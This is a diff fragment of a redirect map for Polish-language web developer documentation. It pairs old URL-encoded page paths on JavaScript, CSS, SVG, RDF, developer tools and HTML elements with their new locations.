+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciow%C5%9Bci:Globalne_informacje_w_konstruktorach /pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Globalne_informacje_w_konstruktorach
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciow%C5%9Bci:Globlne_informacje_w_konstruktorach /pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Globalne_informacje_w_konstruktorach
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciow%C5%9Bci:Okre%C5%9Blanie_wzajemnych_relacji_obiektu /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciow%C5%9Bci:Warto%C5%9Bci_lokalne_vs._dziedziczone /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Warto%C5%9Bci_lokalne_vs._dziedziczone
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciwo%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciwo%C5%9Bci:Brak_wielokrotnego_dziedziczenia /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#No_multiple_inheritance
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciwo%C5%9Bci:Globalne_informacje_w_konstruktorach /pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Globalne_informacje_w_konstruktorach
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciwo%C5%9Bci:Okre%C5%9Blanie_wzajemnych_relacji_obiektu /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciwo%C5%9Bci:Warto%C5%9Bci_lokalne_vs._dziedziczone /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Warto%C5%9Bci_lokalne_vs._dziedziczone
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci:Brak_wielokrotnego_dziedziczenia /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#No_multiple_inheritance
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci:Globalne_informacje_w_konstruktorach /pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Globalne_informacje_w_konstruktorach
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci:Okre%C5%9Blanie_wzajemnych_relacji_obiektu /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci:Warto%C5%9Bci_lokalne_vs._dziedziczone /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Warto%C5%9Bci_lokalne_vs._dziedziczone
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Praca_z_przyk%C5%82adem /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Praca_z_przyk%C5%82adem:Tworzenie_hierarchii /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/Tworzenie_hierarchii
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Praca_z_przyk%C5%82adem:W%C5%82a%C5%9Bciwo%C5%9Bci_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Praca_z_przyk%C5%82adem:W%C5%82a%C5%9Bciwo%C5%9Bci_obiektu:Dodawanie_w%C5%82a%C5%9Bciwo%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu/Dodawanie_w%C5%82asno%C5%9Bci
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Praca_z_przyk%C5%82adem:W%C5%82a%C5%9Bciwo%C5%9Bci_obiektu:Dziedziczenie_w%C5%82a%C5%9Bciwo%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu/Dziedziczenie_w%C5%82asno%C5%9Bci
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Praca_z_przyk%C5%82adem:W%C5%82asno%C5%9Bci_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Praca_z_przyk%C5%82adem:W%C5%82asno%C5%9Bci_obiektu:Dodawanie_w%C5%82asno%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu/Dodawanie_w%C5%82asno%C5%9Bci
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Praca_z_przyk%C5%82adem:W%C5%82asno%C5%9Bci_obiektu:Dziedziczenie_w%C5%82asno%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu/Dziedziczenie_w%C5%82asno%C5%9Bci
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Praca_z_przyk%C5%82adem:Wi%C4%99cej_elastycznych_konstruktor%C3%B3w /pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/Wi%C4%99cej_elastycznych_konstruktor%C3%B3w
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Praca_z_wyra%C5%BCeniami_regularnymi /pl/docs/Web/JavaScript/Guide/Regular_Expressions#Working_with_Regular_Expressions
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Praca_z_wyra%C5%BCeniami_regularnymi:Globalne_wyszukiwanie,_wielko%C5%9B%C4%87_znak%C3%B3w,_wieloliniowe_wej%C5%9Bcie /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_wyra%C5%BCeniami_regularnymi/Globalne_wyszukiwanie,_wielko%C5%9B%C4%87_znak%C3%B3w,_wieloliniowe_wej%C5%9Bcie
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Praca_z_wyra%C5%BCeniami_regularnymi:Przyk%C5%82ady_wyra%C5%BCe%C5%84_regularnych /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_wyra%C5%BCeniami_regularnymi/Przyk%C5%82ady_wyra%C5%BCe%C5%84_regularnych
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Praca_z_wyra%C5%BCeniami_regularnymi:U%C5%BCycie_odpowiedniego_znaku /pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_wyra%C5%BCeniami_regularnymi/U%C5%BCycie_odpowiedniego_znaku
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Przegl%C4%85d_JavaScriptu /pl/docs/JavaScript/Guide/Przeglad_JavaScript
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Sta%C5%82e /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Sta%C5%82e
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Tworzenie_nowych_obiekt%C3%B3w /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Tworzenie_nowych_obiekt%C3%B3w:Definiowanie_metod /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_metod
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Tworzenie_nowych_obiekt%C3%B3w:Definiowanie_metod_pobierania_i_ustawiania /pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_metod_pobierania_i_ustawiania
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Tworzenie_nowych_obiekt%C3%B3w:Definiowanie_w%C5%82a%C5%9Bciowo%C5%9Bci_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_w%C5%82asno%C5%9Bci_typu_obiektu
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Tworzenie_nowych_obiekt%C3%B3w:Definiowanie_w%C5%82a%C5%9Bciwo%C5%9Bci_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_w%C5%82asno%C5%9Bci_typu_obiektu
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Tworzenie_nowych_obiekt%C3%B3w:Definiowanie_w%C5%82asno%C5%9Bci_typu_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_w%C5%82asno%C5%9Bci_typu_obiektu
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Tworzenie_nowych_obiekt%C3%B3w:Indeksowanie_w%C5%82a%C5%9Bciowo%C5%9Bci_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Indeksowanie_w%C5%82asno%C5%9Bci_obiektu
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Tworzenie_nowych_obiekt%C3%B3w:Indeksowanie_w%C5%82a%C5%9Bciwo%C5%9Bci_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Indeksowanie_w%C5%82asno%C5%9Bci_obiektu
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Tworzenie_nowych_obiekt%C3%B3w:Indeksowanie_w%C5%82asno%C5%9Bci_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Indeksowanie_w%C5%82asno%C5%9Bci_obiektu
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Tworzenie_nowych_obiekt%C3%B3w:U%C5%BCywanie_'this'_do_obiektu_referencji /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Zastosowanie_'this'_do_obiektu_referencji
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Tworzenie_nowych_obiekt%C3%B3w:U%C5%BCywanie_inicjacji_obiekt%C3%B3w /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/U%C5%BCywanie_inicjacji_obiektu
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Tworzenie_nowych_obiekt%C3%B3w:U%C5%BCywanie_inicjacji_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/U%C5%BCywanie_inicjacji_obiektu
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Tworzenie_nowych_obiekt%C3%B3w:U%C5%BCywanie_konstruktor%C3%B3w_funkcji /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Zastosowanie_konstruktor%C3%B3w_funkcji
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Tworzenie_nowych_obiekt%C3%B3w:Usuwanie_w%C5%82a%C5%9Bciwo%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Usuwanie_w%C5%82asno%C5%9Bci
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Tworzenie_nowych_obiekt%C3%B3w:Usuwanie_w%C5%82asno%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Usuwanie_w%C5%82asno%C5%9Bci
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Tworzenie_nowych_obiekt%C3%B3w:Zastosowanie_'this'_do_obiektu_referencji /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Zastosowanie_'this'_do_obiektu_referencji
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Tworzenie_nowych_obiekt%C3%B3w:Zastosowanie_konstruktor%C3%B3w_funkcji /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Zastosowanie_konstruktor%C3%B3w_funkcji
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Tworzenie_wyra%C5%BCenia_regularnego /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_wyra%C5%BCenia_regularnego
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:U%C5%BCywanie_argument%C3%B3w_tablicy /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zastosowanie_obiektu_arguments
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Unicode /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Unicode
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Warto%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Warto%C5%9Bci
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Wyra%C5%BCenia /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Wyra%C5%BCenia
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Wywo%C5%82anie_funkcji /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Wywo%C5%82anie_funkcji
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Zapisywanie_wzorca_wyra%C5%BCenia_regularnego /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zapisywanie_wzorca_wyra%C5%BCenia_regularnego
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Zastosowanie_obiektu_arguments /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zastosowanie_obiektu_arguments
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Zmienne /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zmienne
+/pl/docs/QA:Spo%C5%82eczno%C5%9B%C4%87 /pl/docs/QA/Spo%C5%82eczno%C5%9B%C4%87
+/pl/docs/RDF:Inne_zasoby /pl/docs/RDF/Inne_zasoby
+/pl/docs/RDF:Spo%C5%82eczno%C5%9B%C4%87 /pl/docs/RDF/Spo%C5%82eczno%C5%9B%C4%87
+/pl/docs/RDF_API:_Interfejsy_(link) /pl/docs/RDF_API/Interfejsy_(link)
+/pl/docs/RSS:Inne_zasoby /pl/docs/RSS/Inne_zasoby
+/pl/docs/RSS:Wersje:0.91:Netscape:Wersja_1 /pl/docs/RSS/Wersje/0.91/Netscape/Wersja_1
+/pl/docs/Rejestracja_Chrome /pl/docs/Mozilla/Rejestracja_Chrome
+/pl/docs/Rejestry_Chrome /pl/docs/Mozilla/Rejestracja_Chrome
+/pl/docs/Rozszerzenia/:Inne_zasoby /pl/docs/Rozszerzenia/Inne_zasoby
+/pl/docs/Rozszerzenia::Inne_zasoby /pl/docs/Rozszerzenia/Inne_zasoby
+/pl/docs/Rozszerzenia:Inne_zasoby /pl/docs/Rozszerzenia/Inne_zasoby
+/pl/docs/Rozszerzenia:Spo%C5%82eczno%C5%9B%C4%87 /pl/docs/Rozszerzenia/Spo%C5%82eczno%C5%9B%C4%87
+/pl/docs/Rozszerzenia_CSS_Mozilli /pl/docs/Web/CSS/Mozilla_Extensions
+/pl/docs/Rysowanie_grafik_za_pomoc%C4%85_Canvas /pl/docs/Web/API/Canvas_API/Tutorial
+/pl/docs/SVG /pl/docs/Web/SVG
+/pl/docs/SVG/Inne_zasoby /pl/docs/Web/SVG/Inne_zasoby
+/pl/docs/SVG/Przewodnik /pl/docs/Web/SVG/Przewodnik
+/pl/docs/SVG:Inne_zasoby /pl/docs/Web/SVG/Inne_zasoby
+/pl/docs/SVG:Przewodnik /pl/docs/Web/SVG/Przewodnik
+/pl/docs/SVG_w_Firefoksie_2 /pl/docs/SVG_w_Firefoksie
+/pl/docs/SVG_w_XHTML_-_Wprowadzenie /pl/docs/Web/SVG/Przewodnik/SVG_w_XHTML_-_Wprowadzenie
+/pl/docs/Safely_accessing_content_DOM_from_chrome /pl/docs/Bezpieczny_dost%C4%99p_do_sk%C5%82adnik%C3%B3w_DOM_z_poziomu_chrome
+/pl/docs/Skr%C3%B3cone_deklaracje_CSS /pl/docs/Web/CSS/Skr%C3%B3cone_deklaracje_CSS
+/pl/docs/Standardy_WWW:Spo%C5%82eczno%C5%9B%C4%87 /pl/docs/Standardy_WWW/Spo%C5%82eczno%C5%9B%C4%87
+/pl/docs/Storage:Wydajno%C5%9B%C4%87 /pl/docs/Storage/Wydajno%C5%9B%C4%87
+/pl/docs/Strona_g%C5%82%C3%B3wna /pl/docs/Web
+/pl/docs/Szybka_dokumentacja_CSS-2 /pl/docs/Web/CSS
+/pl/docs/The_Basics_of_Web_Services /pl/docs/Podstawy_Web_Services
+/pl/docs/Tips_for_Authoring_Fast-loading_HTML_Pages /pl/docs/Porady_odno%C5%9Bnie_tworzenia_szybko_%C5%82aduj%C4%85cych_si%C4%99_stron_HTML
+/pl/docs/Toolkit_API:Dokumentacje /pl/docs/Toolkit_API/Dokumentacje
+/pl/docs/Toolkit_API:Oficjalne_dokumentacje /pl/docs/Toolkit_API/Oficjalne_dokumentacje
+/pl/docs/Tools/Debugger/How_to /pl/docs/Narz%C4%99dzia/Debugger/How_to
+/pl/docs/Tools/Debugger/How_to/Access_debugging_in_add-ons /pl/docs/Narz%C4%99dzia/Debugger/How_to/Access_debugging_in_add-ons
+/pl/docs/Tools/Page_Inspector/How_to /pl/docs/Narz%C4%99dzia/Page_Inspector/How_to
+/pl/docs/Tools/Page_Inspector/How_to/Open_the_Inspector /pl/docs/Narz%C4%99dzia/Page_Inspector/How_to/Open_the_Inspector
+/pl/docs/Tools/Performance /pl/docs/Narz%C4%99dzia/Performance
+/pl/docs/Tools/Performance/Flame_Chart /pl/docs/Narz%C4%99dzia/Performance/Flame_Chart
+/pl/docs/Tools/WebIDE /pl/docs/Narz%C4%99dzia/WebIDE
+/pl/docs/Tools/WebIDE/Troubleshooting /pl/docs/Narz%C4%99dzia/WebIDE/Troubleshooting
+/pl/docs/Tools/Web_Console /pl/docs/Narz%C4%99dzia/Web_Console
+/pl/docs/Tools/Web_Console/Pomocnik /pl/docs/Narz%C4%99dzia/Web_Console/Pomocnik
+/pl/docs/Transformacje_XML_z_XSLT /pl/docs/Web/XSLT/Transformacje_XML_z_XSLT
+/pl/docs/Transformacje_XML_z_XSLT/Dokumentacja_XSLT_XPath /pl/docs/Web/XSLT/Transformacje_XML_z_XSLT/Dokumentacja_XSLT_XPath
+/pl/docs/Transformacje_XML_z_XSLT/Przeczytaj_wi%C4%99cej /pl/docs/Web/XSLT/Transformacje_XML_z_XSLT/Przeczytaj_wi%C4%99cej
+/pl/docs/Transformacje_XML_z_XSLT:Dokumentacja_XSLT_XPath /pl/docs/Web/XSLT/Transformacje_XML_z_XSLT/Dokumentacja_XSLT_XPath
+/pl/docs/Transformacje_XML_z_XSLT:Przeczytaj_wi%C4%99cej /pl/docs/Web/XSLT/Transformacje_XML_z_XSLT/Przeczytaj_wi%C4%99cej
+/pl/docs/Tworzenie_sk%C3%B3rek_dla_Firefoksa:UUID /pl/docs/Tworzenie_sk%C3%B3rek_dla_Firefoksa/UUID
+/pl/docs/Tworzenie_sk%C3%B3rek_dla_Firefoksa:Zaczynamy /pl/docs/Tworzenie_sk%C3%B3rek_dla_Firefoksa/Zaczynamy
+/pl/docs/Tworzenie_sk%C3%B3rek_dla_Firefoksa:contents.rdf /pl/docs/Tworzenie_sk%C3%B3rek_dla_Firefoksa/contents.rdf
+/pl/docs/Tworzenie_sk%C3%B3rek_dla_Firefoksa:install.rdf /pl/docs/Tworzenie_sk%C3%B3rek_dla_Firefoksa/install.rdf
+/pl/docs/U%C5%BCycie_warto%C5%9Bci_URL_dla_w%C5%82asno%C5%9Bci_cursor /pl/docs/Web/CSS/cursor/U%C5%BCycie_warto%C5%9Bci_URL_dla_w%C5%82asno%C5%9Bci_cursor
+/pl/docs/Web/API/Uint16Array /pl/docs/Web/JavaScript/Referencje/Obiekty/Uint16Array
+/pl/docs/Web/API/WebGL_API/Getting_started_with_WebGL /pl/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL
+/pl/docs/Web/API/WindowBase64.atob /pl/docs/Web/API/WindowBase64/atob
+/pl/docs/Web/API/WindowBase64.btoa /pl/docs/Web/API/WindowBase64/btoa
+/pl/docs/Web/CSS/-moz-appearance /pl/docs/Web/CSS/appearance
+/pl/docs/Web/CSS/-moz-background-clip /pl/docs/CSS/background-clip
+/pl/docs/Web/CSS/-moz-background-inline-policy /pl/docs/Web/CSS/box-decoration-break
+/pl/docs/Web/CSS/-moz-background-origin /pl/docs/Web/CSS/background-origin
+/pl/docs/Web/CSS/-moz-border-radius /pl/docs/Web/CSS/border-radius
+/pl/docs/Web/CSS/-moz-border-radius-bottomleft /pl/docs/Web/CSS/border-bottom-left-radius
+/pl/docs/Web/CSS/-moz-border-radius-bottomright /pl/docs/Web/CSS/border-bottom-right-radius
+/pl/docs/Web/CSS/-moz-border-radius-topleft /pl/docs/Web/CSS/border-top-left-radius
+/pl/docs/Web/CSS/-moz-border-radius-topright /pl/docs/Web/CSS/border-top-right-radius
+/pl/docs/Web/CSS/-moz-box-direction /pl/docs/Web/CSS/box-direction
+/pl/docs/Web/CSS/-moz-box-sizing /pl/docs/Web/CSS/box-sizing
+/pl/docs/Web/CSS/-moz-opacity /pl/docs/Web/CSS/opacity
+/pl/docs/Web/CSS/-moz-outline-offset /pl/docs/Web/CSS/outline-offset
+/pl/docs/Web/CSS/-moz-outline-style /pl/docs/Web/CSS/outline-style
+/pl/docs/Web/CSS/:last-node /pl/docs/Web/CSS/%3A-moz-last-node
+/pl/docs/Web/CSS/@-moz-document /pl/docs/Web/CSS/%40document
+/pl/docs/Web/CSS/CSS_Reference/Rozszerzenia_Mozilli /pl/docs/Web/CSS/Mozilla_Extensions
+/pl/docs/Web/CSS/Na_pocz%C4%85tek/Czym_jest_CSS? /pl/docs/Web/CSS/Na_pocz%C4%85tek/Czym_jest_CSS
+/pl/docs/Web/CSS/Na_pocz%C4%85tek/Tre%C5%9B%C4%87 /pl/docs/Learn/CSS/Howto/Generated_content
+/pl/docs/Web/CSS/Uzycie_zmiennych_CSS /pl/docs/Web/CSS/Using_CSS_custom_properties
+/pl/docs/Web/CSS/transform-function/matrix /pl/docs/Web/CSS/transform-function/matrix()
+/pl/docs/Web/Events/drag /pl/docs/Web/API/Document/drag_event
+/pl/docs/Web/Events/languagechange /pl/docs/Web/API/Window/languagechange_event
+/pl/docs/Web/Guide/CSS /pl/docs/Learn/CSS
+/pl/docs/Web/Guide/HTML /pl/docs/Learn/HTML
+/pl/docs/Web/Guide/HTML/Wprowadzenie /pl/docs/Learn/HTML/Introduction_to_HTML
+/pl/docs/Web/HTML/Elementy /pl/docs/Web/HTML/Element
+/pl/docs/Web/HTML/Elementy/a /pl/docs/Web/HTML/Element/a
+/pl/docs/Web/HTML/Elementy/abbr /pl/docs/Web/HTML/Element/abbr
+/pl/docs/Web/HTML/Elementy/acronym /pl/docs/Web/HTML/Element/acronym
+/pl/docs/Web/HTML/Elementy/address /pl/docs/Web/HTML/Element/address
+/pl/docs/Web/HTML/Elementy/area /pl/docs/Web/HTML/Element/area
+/pl/docs/Web/HTML/Elementy/b /pl/docs/Web/HTML/Element/b
+/pl/docs/Web/HTML/Elementy/big /pl/docs/Web/HTML/Element/big
+/pl/docs/Web/HTML/Elementy/blink /pl/docs/Web/HTML/Element/blink
+/pl/docs/Web/HTML/Elementy/blockquote /pl/docs/Web/HTML/Element/blockquote
+/pl/docs/Web/HTML/Elementy/br /pl/docs/Web/HTML/Element/br
+/pl/docs/Web/HTML/Elementy/code /pl/docs/Web/HTML/Element/code
+/pl/docs/Web/HTML/Elementy/dd /pl/docs/Web/HTML/Element/dd
+/pl/docs/Web/HTML/Elementy/dl /pl/docs/Web/HTML/Element/dl
+/pl/docs/Web/HTML/Elementy/em /pl/docs/Web/HTML/Element/em
+/pl/docs/Web/HTML/Elementy/hr /pl/docs/Web/HTML/Element/hr
+/pl/docs/Web/HTML/Elementy/html /pl/docs/Web/HTML/Element/html
+/pl/docs/Web/HTML/Elementy/i /pl/docs/Web/HTML/Element/i
+/pl/docs/Web/HTML/Elementy/marquee /pl/docs/Web/HTML/Element/marquee
+/pl/docs/Web/HTML/Elementy/s /pl/docs/Web/HTML/Element/s
+/pl/docs/Web/HTML/Elementy/small /pl/docs/Web/HTML/Element/small
+/pl/docs/Web/HTML/Elementy/strong /pl/docs/Web/HTML/Element/strong
